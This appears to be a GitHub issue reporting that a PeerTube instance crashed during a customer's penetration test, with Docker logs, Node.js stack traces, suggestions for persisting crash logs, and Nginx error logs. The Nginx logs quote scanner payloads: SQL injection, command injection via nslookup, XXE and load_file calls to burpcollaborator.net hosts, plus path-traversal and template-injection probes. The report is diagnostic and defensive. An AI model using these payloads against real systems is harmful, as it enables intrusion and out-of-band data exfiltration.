Describe the current behavior
One of my customer is trying to pentest his PeerTube instance.
NodeJS app crashed 5 times, in a 10 minutes window.
Eventually, I installed a fail2ban to calm things down.
ATM, I have no idea what tool was used pentesting PeerTube, nor how it was configured, ...
First issue is that I have no clue which request crashed the whole thing -- in Nginx logs, I'ld find over 400 requests per seconds. The first 502 showing 2 seconds after NodeJS crashed. Unclear which one is to blame.
The second issue, related to my first issue: when NodeJS crashes, a log file should be stored in /home/peertube/.npm/_logs.
Running PeerTube using docker.io/chocobozzz/peertube:v3.1.0-buster.
I would assume troubleshooting data regarding my first issue could be found in there.
But since my container crashed, and I do not have any volume backing /home/peertube: whatever was written in there is lost right away.
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | [video.example.com:443] 2021-05-24 10:16:33.504 info: 176.185.155.248 - - [24/May/2021:10:16:33 +0000] "GET /client/en-US/main.863751cd38df15662e51.js HTTP/1.1" 200 1252036 "https://example.com/');declare @q varchar(99);set @q='\\hbwi7n40p35uh24p106d311rwi2bqcnfb64uzhq5f.burpcollab'+'orator.net\vwn'; exec master.dbo.xp_dirtree @q;--" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
May 24 12:16:33 xx docker-compose[16937]: peertube_1 |
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | npm ERR! code ELIFECYCLE
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | npm ERR! errno 1
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | npm ERR! [email protected] start: `node dist/server`
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | npm ERR! Exit status 1
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | npm ERR!
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | npm ERR! Failed at the [email protected] start script.
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
May 24 12:16:33 xx docker-compose[16937]: peertube_1 |
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | npm ERR! A complete log of this run can be found in:
May 24 12:16:33 xx docker-compose[16937]: peertube_1 | npm ERR! /home/peertube/.npm/_logs/2021-05-24T10_16_33_588Z-debug.log
May 24 12:16:34 xx docker-compose[16937]: peertube_peertube_1 exited with code 1
Maybe the docker-compose sample (given here: https://github.com/Chocobozzz/PeerTube/blob/develop/support/docker/production/docker-compose.yml ) should say something about /home/peertube/.npm/_logs.
Either mount it to some host path (eg: /var/log/peertube ?).
Or, from the Dockerfile, link it to some subdirectory in /data, already storing videos.
Or set a different HOME for the peertube user (either export HOME=/data right before starting NodeJS, or even set it while creating the peertube user).
Anyway. It would be nice being able to read that crash log, regardless of container crashing / restarting.
Note, I realize I have additional logs in my data dir, logs subdir.
Here's one of the trace I would find:
"error": {
"stack": "TypeError: Cannot read property 'length' of undefined\n at parsePath (/app/node_modules/append-field/lib/parse-path.js:13:17)\n at appendField (/app/node_modules/append-field/index.js:5:15)\n at Busboy.<anonymous> (/app/node_modules/multer/lib/make-middleware.js:92:7)\n at Busboy.emit (events.js:314:20)\n at Busboy.emit (/app/node_modules/busboy/lib/main.js:38:33)\n at PartStream.onEnd (/app/node_modules/busboy/lib/types/multipart.js:261:15)\n at PartStream.emit (events.js:326:22)\n at endReadableNT (_stream_readable.js:1241:12)\n at processTicksAndRejections (internal/process/task_queues.js:84:21)",
"message": "Cannot read property 'length' of undefined"
},
"level": "error",
"message": "uncaughtException: Cannot read property 'length' of undefined\nTypeError: Cannot read property 'length' of undefined\n at parsePath (/app/node_modules/append-field/lib/parse-path.js:13:17)\n at appendField (/app/node_modules/append-field/index.js:5:15)\n at Busboy.<anonymous> (/app/node_modules/multer/lib/make-middleware.js:92:7)\n at Busboy.emit (events.js:314:20)\n at Busboy.emit (/app/node_modules/busboy/lib/main.js:38:33)\n at PartStream.onEnd (/app/node_modules/busboy/lib/types/multipart.js:261:15)\n at PartStream.emit (events.js:326:22)\n at endReadableNT (_stream_readable.js:1241:12)\n at processTicksAndRejections (internal/process/task_queues.js:84:21)",
"stack": "TypeError: Cannot read property 'length' of undefined\n at parsePath (/app/node_modules/append-field/lib/parse-path.js:13:17)\n at appendField (/app/node_modules/append-field/index.js:5:15)\n at Busboy.<anonymous> (/app/node_modules/multer/lib/make-middleware.js:92:7)\n at Busboy.emit (events.js:314:20)\n at Busboy.emit (/app/node_modules/busboy/lib/main.js:38:33)\n at PartStream.onEnd (/app/node_modules/busboy/lib/types/multipart.js:261:15)\n at PartStream.emit (events.js:326:22)\n at endReadableNT (_stream_readable.js:1241:12)\n at processTicksAndRejections (internal/process/task_queues.js:84:21)",
"exception": true,
"date": "Mon May 24 2021 10:12:33 GMT+0000 (Coordinated Universal Time)",
...
"label": "video.mentor.gouv.fr:443 peertube-plugin-auth-openid-connect",
"timestamp": "2021-05-24T10:12:33.063Z"
And another:
"error": {
"stack": "TypeError: Cannot read property 'length' of undefined\n at parsePath (/app/node_modules/append-field/lib/parse-path.js:13:17)\n at appendField (/app/node_modules/append-field/index.js:5:15)\n at Busboy.<anonymous> (/app/node_modules/multer/lib/make-middleware.js:92:7)\n at Busboy.emit (events.js:314:20)\n at Busboy.emit (/app/node_modules/busboy/lib/main.js:38:33)\n at PartStream.onEnd (/app/node_modules/busboy/lib/types/multipart.js:261:15)\n at PartStream.emit (events.js:326:22)\n at endReadableNT (_stream_readable.js:1241:12)\n at processTicksAndRejections (internal/process/task_queues.js:84:21)",
"message": "Cannot read property 'length' of undefined"
},
"level": "error",
"message": "uncaughtException: Cannot read property 'length' of undefined\nTypeError: Cannot read property 'length' of undefined\n at parsePath (/app/node_modules/append-field/lib/parse-path.js:13:17)\n at appendField (/app/node_modules/append-field/index.js:5:15)\n at Busboy.<anonymous> (/app/node_modules/multer/lib/make-middleware.js:92:7)\n at Busboy.emit (events.js:314:20)\n at Busboy.emit (/app/node_modules/busboy/lib/main.js:38:33)\n at PartStream.onEnd (/app/node_modules/busboy/lib/types/multipart.js:261:15)\n at PartStream.emit (events.js:326:22)\n at endReadableNT (_stream_readable.js:1241:12)\n at processTicksAndRejections (internal/process/task_queues.js:84:21)",
"stack": "TypeError: Cannot read property 'length' of undefined\n at parsePath (/app/node_modules/append-field/lib/parse-path.js:13:17)\n at appendField (/app/node_modules/append-field/index.js:5:15)\n at Busboy.<anonymous> (/app/node_modules/multer/lib/make-middleware.js:92:7)\n at Busboy.emit (events.js:314:20)\n at Busboy.emit (/app/node_modules/busboy/lib/main.js:38:33)\n at PartStream.onEnd (/app/node_modules/busboy/lib/types/multipart.js:261:15)\n at PartStream.emit (events.js:326:22)\n at endReadableNT (_stream_readable.js:1241:12)\n at processTicksAndRejections (internal/process/task_queues.js:84:21)",
"exception": true,
"date": "Mon May 24 2021 10:12:33 GMT+0000 (Coordinated Universal Time)",
...
"label": "video.mentor.gouv.fr:443 peertube-plugin-chapters",
"timestamp": "2021-05-24T10:12:33.064Z"
Steps to reproduce:
Still trying to figure it out ...
Checking Nginx logs for requests that were transmitted to NodeJS and abruptly terminated, we would see:
2021/05/24 12:11:25 [error] 25796#25796: *10018049 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "DELETE /api/v1'%20and%206176%3d6176--%20/videos/229 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1'%20and%206176%3d6176--%20/videos/229", host: "video.example.com", referrer: "https://video.example.com/videos/watch/449f1523-d537-4eb5-bba6-241b516f0641"
2021/05/24 12:11:25 [error] 25796#25796: *10018047 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /api/v1/videos/231/comment-threads?start=0&count=10&sort=-createdAt' HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/231/comment-threads?start=0&count=10&sort=-createdAt'", host: "video.example.com", referrer: "https://video.example.com/videos/watch/8a961526-cb89-488b-9fb1-baa50bbd7bac"
2021/05/24 12:11:25 [error] 25796#25796: *10017511 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "PUT /api/v1/videos/231 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/231", host: "video.example.com", referrer: "https://video.example.com/videos/update/8a961526-cb89-488b-9fb1-baa50bbd7bac"
2021/05/24 12:11:42 [error] 14439#14439: *69 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "DELETE /api/v1/videos%7cnslookup%20-q%3dcname%20pkdqgvd8ybe2qadxa8flc9az5qbjzkubi764twhl.burpcollaborator.net.%26/229 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos%7cnslookup%20-q%3dcname%20pkdqgvd8ybe2qadxa8flc9az5qbjzkubi764twhl.burpcollaborator.net.%26/229", host: "video.example.com", referrer: "https://video.example.com/videos/watch/449f1523-d537-4eb5-bba6-241b516f0641"
2021/05/24 12:11:42 [error] 14439#14439: *112 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "DELETE /api/v1/videos%7d%7dyzzp7'/%22%3cu2lwa/230 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos%7d%7dyzzp7'/%22%3cu2lwa/230", host: "video.example.com", referrer: "https://video.example.com/my-library/videos"
2021/05/24 12:11:42 [error] 14439#14439: *114 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "DELETE /api/v1/videos%26nslookup%20-q%3dcname%20x53y13ygjjzabiy5vg0txhv7qywrksfj3erbe32s.burpcollaborator.net.%26'%5c%22%600%26nslookup%20-q%3dcname%20x53y13ygjjzabiy5vg0txhv7qywrksfj3erbe32s.burpcollaborator.net.%26%60'/229 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos%26nslookup%20-q%3dcname%20x53y13ygjjzabiy5vg0txhv7qywrksfj3erbe32s.burpcollaborator.net.%26'%5c%22%600%26nslookup%20-q%3dcname%20x53y13ygjjzabiy5vg0txhv7qywrksfj3erbe32s.burpcollaborator.net.%26%60'/229", host: "video.example.com", referrer: "https://video.example.com/videos/watch/449f1523-d537-4eb5-bba6-241b516f0641"
2021/05/24 12:11:42 [error] 14439#14439: *132 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /api/v1/videos/2b0daab9-96e5-4997-9d5b-658899a7cd2b/description HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/2b0daab9-96e5-4997-9d5b-658899a7cd2b/description", host: "video.example.com", referrer: "https://video.example.com/videos/watch/2b0daab9-96e5-4997-9d5b-658899a7cd2b"
2021/05/24 12:11:42 [error] 14439#14439: *138 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "DELETE /api/v1/videos%25%7dcnjnu'/%22%3cihadl/230 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos%25%7dcnjnu'/%22%3cihadl/230", host: "video.example.com", referrer: "https://video.example.com/my-library/videos"
2021/05/24 12:11:42 [error] 14439#14439: *145 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /graphql.php HTTP/1.1", upstream: "http://127.0.0.1:9000/graphql.php", host: "video.example.com", referrer: "https://video.example.com/videos/watch/2b0daab9-96e5-4997-9d5b-658899a7cd2b"
2021/05/24 12:12:36 [error] 14439#14439: *9535 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "POST /api/v1/videos/(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20nyrib%20SYSTEM%20%22http%3a//lujmqrn487oy06ntk4phm5kvfmlf9g4csfgc35ru.burpcollab'%7c%7c'orator.net/%22%3e%25nyrib%3b]%3e')%2c'/l')%20from%20dual)/comment-threads HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20nyrib%20SYSTEM%20%22http%3a//lujmqrn487oy06ntk4phm5kvfmlf9g4csfgc35ru.burpcollab'%7c%7c'orator.net/%22%3e%25nyrib%3b]%3e')%2c'/l')%20from%20dual)/comment-threads", host: "video.example.com", referrer: "https://video.example.com/videos/watch/2b0daab9-96e5-4997-9d5b-658899a7cd2b"
2021/05/24 12:12:36 [error] 14439#14439: *9538 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /api/v1/videos/8a961526-cb89-488b-9fb1-baa50bbd7bac/metadata/1115'%2b(select%20load_file('%5c%5c%5c%5chvgirno093pu12opl0qdn1lrgimbac67uyxmoeb4zt.burpcollaborator.net%5c%5crsi'))%2b' HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/8a961526-cb89-488b-9fb1-baa50bbd7bac/metadata/1115'%2b(select%20load_file('%5c%5c%5c%5chvgirno093pu12opl0qdn1lrgimbac67uyxmoeb4zt.burpcollaborator.net%5c%5crsi'))%2b'", host: "video.example.com"
2021/05/24 12:12:36 [error] 14439#14439: *9537 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "POST /api/v1/videos/230/comment-threads HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/230/comment-threads", host: "video.example.com", referrer: "../WEB-INF/web.xml;x="
2021/05/24 12:12:36 [error] 14439#14439: *9541 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "PUT /api/v1/videos/231 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/231", host: "video.example.com", referrer: "https://video.example.com/videos/update/8a961526-cb89-488b-9fb1-baa50bbd7bac"
2021/05/24 12:12:36 [error] 14439#14439: *8981 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "POST /api/v1/users/me/avatar/pick HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/users/me/avatar/pick", host: "video.example.com", referrer: "https://video.example.com/my-account/settings"
Another crash:
2021/05/24 12:15:33 [error] 16259#16259: *18 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "PUT /api/v1/videos/../../../WEB-INF/web.xml%3bx%3d/watching HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/../../../WEB-INF/web.xml%3bx%3d/watching", host: "video.example.com", referrer: "https://video.example.com/videos/watch/8a961526-cb89-488b-9fb1-baa50bbd7bac"
2021/05/24 12:15:33 [error] 16259#16259: *41 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "POST /gql HTTP/1.1", upstream: "http://127.0.0.1:9000/gql", host: "video.example.com", referrer: "https://video.example.com/videos/upload"
2021/05/24 12:15:33 [error] 16259#16259: *46 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "PUT /api/v1/videos/231 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/231", host: "video.example.com", referrer: "https://video.example.com/videos/update/8a961526-cb89-488b-9fb1-baa50bbd7bac"
2021/05/24 12:15:33 [error] 16259#16259: *64 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /client/assets/%7b%7b542*478%7d%7d/logo.svg HTTP/1.1", upstream: "http://127.0.0.1:9000/client/assets/%7b%7b542*478%7d%7d/logo.svg", host: "video.example.com"
2021/05/24 12:15:33 [error] 16259#16259: *65 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /client/assets/%23%7bapplicationScope%7d/favicon.png HTTP/1.1", upstream: "http://127.0.0.1:9000/client/assets/%23%7bapplicationScope%7d/favicon.png", host: "video.example.com"
2021/05/24 12:15:33 [error] 16259#16259: *77 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "POST /graphql/console/ HTTP/1.1", upstream: "http://127.0.0.1:9000/graphql/console/", host: "video.example.com", referrer: "https://video.example.com/videos/upload"
2021/05/24 12:15:34 [error] 16259#16259: *108 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /%23%7b713*316%7d/assets/images/logo.svg?6ebe0a5dc8302541b0276436f744c77ccd5d72e3 HTTP/1.1", upstream: "http://127.0.0.1:9000/%23%7b713*316%7d/assets/images/logo.svg?6ebe0a5dc8302541b0276436f744c77ccd5d72e3", host: "video.example.com", referrer: "https://video.example.com/videos/trending"
2021/05/24 12:15:34 [error] 16259#16259: *130 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /client/assets/images/mascot/defeated.svg HTTP/1.1", upstream: "http://127.0.0.1:9000/client/assets/images/mascot/defeated.svg", host: "video.example.com", referrer: "https://video.example.com/config"
2021/05/24 12:15:58 [error] 16259#16259: *2014 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "PUT /api/v1/videos/231 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/231", host: "video.example.com", referrer: "https://video.example.com/videos/update/8a961526-cb89-488b-9fb1-baa50bbd7bac"
2021/05/24 12:16:22 [error] 17278#17278: *19 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /client/en-US/runtime.f945b94d39838d536162.js?1'%20and%206355%3d6359--%20=1 HTTP/1.1", upstream: "http://127.0.0.1:9000/client/en-US/runtime.f945b94d39838d536162.js?1'%20and%206355%3d6359--%20=1", host: "video.example.com"
2021/05/24 12:16:22 [error] 17278#17278: *20 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /client/assets/images/favicon.a HTTP/1.1", upstream: "http://127.0.0.1:9000/client/assets/images/favicon.a", host: "video.example.com"
2021/05/24 12:16:22 [error] 17278#17278: *60 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /client/en-US/main.863751cd38df15662e51.js HTTP/1.1", upstream: "http://127.0.0.1:9000/client/en-US/main.863751cd38df15662e51.js", host: "video.example.com"
2021/05/24 12:16:33 [error] 17278#17278: *659 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "PUT /api/v1/videos/231 HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/videos/231", host: "video.example.com", referrer: "https://video.example.com/videos/update/8a961526-cb89-488b-9fb1-baa50bbd7bac"
2021/05/24 12:16:33 [error] 17278#17278: *869 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /client/assets/images/logo.svg.tar.lzma HTTP/1.1", upstream: "http://127.0.0.1:9000/client/assets/images/logo.svg.tar.lzma", host: "video.example.com"
2021/05/24 12:16:33 [error] 17278#17278: *853 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "POST /api/v1/users/me/avatar/pick HTTP/1.1", upstream: "http://127.0.0.1:9000/api/v1/users/me/avatar/pick", host: "video.example.com", referrer: "https://video.example.com/my-account/settings"
2021/05/24 12:16:33 [error] 17278#17278: *867 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /client/en-US/runtime.f945b94d39838d536162.js?..%2f..%2f..%2fWEB-INF%2fweb.xml%3bx%3d=1 HTTP/1.1", upstream: "http://127.0.0.1:9000/client/en-US/runtime.f945b94d39838d536162.js?..%2f..%2f..%2fWEB-INF%2fweb.xml%3bx%3d=1", host: "video.example.com"
2021/05/24 12:16:33 [error] 17278#17278: *872 upstream prematurely closed connection while reading response header from upstream, client: X.X.X.X, server: peertube-1.example.com, request: "GET /client/assets/images/logo_bak HTTP/1.1", upstream: "http://127.0.0.1:9000/client/assets/images/logo_bak", host: "video.example.com"
In both blocks, it is very likely we have at least one request responsible for NodeJS crashing.
Describe the expected behavior
No crash. When someone crafts requests, trying to inject stuff, either in the URI, the referrer, unholy GET/POST/PUT/DELETE params, ... This should not be an issue, server should not crash.
Additional information
- PeerTube instance:
- URL: private
- version: 3.1.0 (docker.io/chocobozzz/peertube:v3.1.0-buster)
- NodeJS version: 12.21.0
- Ffmpeg version: 7:4.1.6-1~deb10u1
I'll try to get my customer to run new scans, so we can figure out what happened exactly.
Describe the current behavior
One of my customer is trying to pentest his PeerTube instance.
NodeJS app crashed 5 times, in a 10 minutes window.
Eventually, I installed a fail2ban to calm things down.
ATM, I have no idea what tool was used pentesting PeerTube, nor how it was configured, ...
First issue is that I have no clue which request crashed the whole thing -- in Nginx logs, I'ld find over 400 requests per seconds. The first 502 showing 2 seconds after NodeJS crashed. Unclear which one is to blame.
The second issue, related to my first issue: when NodeJS crashes, a log file should be stored in
/home/peertube/.npm/_logs.Running PeerTube using
docker.io/chocobozzz/peertube:v3.1.0-buster.I would assume troubleshooting data regarding my first issue could be found in there.
But since my container crashed, and I do not have any volume backing /home/peertube: whatever was written in there is lost right away.
Maybe the docker-compose sample (given here: https://github.com/Chocobozzz/PeerTube/blob/develop/support/docker/production/docker-compose.yml ) should say something about
/home/peertube/.npm/_logs.Either mount it to some host path (eg: /var/log/peertube ?).
Or, from the Dockerfile, link it to some subdirectory in
/data, already storing videos.Or set a different HOME for the peertube user (either export HOME=/data right before starting NodeJS, or even set it while creating the peertube user).
Anyway. It would be nice being able to read that crash log, regardless of container crashing / restarting.
Note, I realize I have additional logs in my data dir, logs subdir.
Here's one of the trace I would find:
And another:
Steps to reproduce:
Still trying to figure it out ...
Checking Nginx logs for requests that were transmitted to NodeJS and abruptly terminated, we would see:
Another crash:
In both blocks, it is very likely we have at least one request responsible for NodeJS crashing.
Describe the expected behavior
No crash. When someone crafts requests, trying to inject stuff, either in the URI, the referrer, unholy GET/POST/PUT/DELETE params, ... This should not be an issue, server should not crash.
Additional information
I'll try to get my customer to run new scans, so we can figure out what happened exactly.